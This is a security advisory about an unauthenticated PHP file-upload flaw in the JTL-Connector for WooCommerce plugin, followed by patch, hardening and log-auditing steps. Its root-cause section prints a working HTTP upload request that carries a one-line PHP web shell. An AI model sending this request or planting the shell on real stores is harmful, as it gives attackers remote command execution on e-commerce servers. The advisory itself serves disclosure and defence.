JTL-Software has remediated CVE-2026-87855 (CVSS score 9.8, Critical), an unauthenticated unrestricted file upload vulnerability in the JTL-Connector for WooCommerce WordPress plugin. The flaw allows external threat actors to upload executable PHP scripts directly into publicly accessible web directories, facilitating immediate remote code execution on WordPress e-commerce servers.
Executive Threat Summary & Exploit Landscape
JTL-Connector synchronizes inventory, pricing, customer orders, and product images between WooCommerce storefronts and JTL-Wawi Enterprise Resource Planning (ERP) systems. Because synchronization routines must handle large binary assets (such as product photos and catalogs), the connector exposes specific API routes designed to accept multipart file uploads.
Under CVE-2026-87855, the file upload handler failed to validate file extensions and MIME types, while simultaneously failing to authenticate incoming synchronization requests. An unauthenticated attacker could upload a PHP web shell disguised with an image header, navigate to the uploaded script in a web browser, and execute arbitrary commands with the privileges of the web server (www-data or nginx).
Vulnerability Mechanics & Technical Root Cause (CWE-434)
The defect occurs in src/Controllers/ImageController.php. When handling incoming image sync packets, the endpoint reads the uploaded file and preserves the original filename supplied in the multipart headers without sanitizing dangerous extensions:
POST /jtlconnector/image/push HTTP/1.1
Host: store.enterprise.com
Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
-----------------------------974767299852498929531610575
Content-Disposition: form-data; name="file"; filename="catalog_preview.php"
Content-Type: image/jpeg
<?php system($_REQUEST['cmd']); ?>
-----------------------------974767299852498929531610575--
Because the destination directory (/wp-content/plugins/jtl-connector/uploads/) was configured with executable permissions by default in standard NGINX and Apache configurations, the uploaded PHP file is immediately parsed and executed by the PHP-FPM worker upon request.
Vulnerable Software Versions & Patch Status Matrix
| Plugin Name | Vulnerable Versions | Fixed Release | Severity |
|---|---|---|---|
| JTL-Connector for WooCommerce | Versions <= 2.1.38 | Version 2.1.39 | Immediate Critical |
Step-by-Step Remediation Playbook & Patch Commands
Store administrators must apply the update and secure upload directories immediately:
- Update Plugin via WP-CLI:
# Update plugin via WP-CLI wp plugin update jtl-connector --version=2.1.39 # Verify active version wp plugin get jtl-connector --field=version - Disable PHP Execution in Upload Directories: Add an
.htaccessfile (for Apache) or NGINX location block to prevent direct script execution in the uploads folder:# NGINX Configuration Rule location ~* /wp-content/plugins/jtl-connector/.*.(php|phtml|phar)$ { deny all; return 403; } - Scan for Web Shells: Audit the plugin and uploads folders for unauthorized PHP files:
find /var/www/html/wp-content/plugins/jtl-connector -type f -name "*.php" ! -path "*/src/*"
Threat Detection, Log Auditing & Forensic Queries
Inspect web server access logs for direct requests to uploaded scripts:
# Grep access logs for requests to jtl-connector upload paths
grep -E "POST /jtlconnector/image" /var/log/nginx/access.log
grep -E "GET /wp-content/plugins/jtl-connector/.*.php" /var/log/nginx/access.log



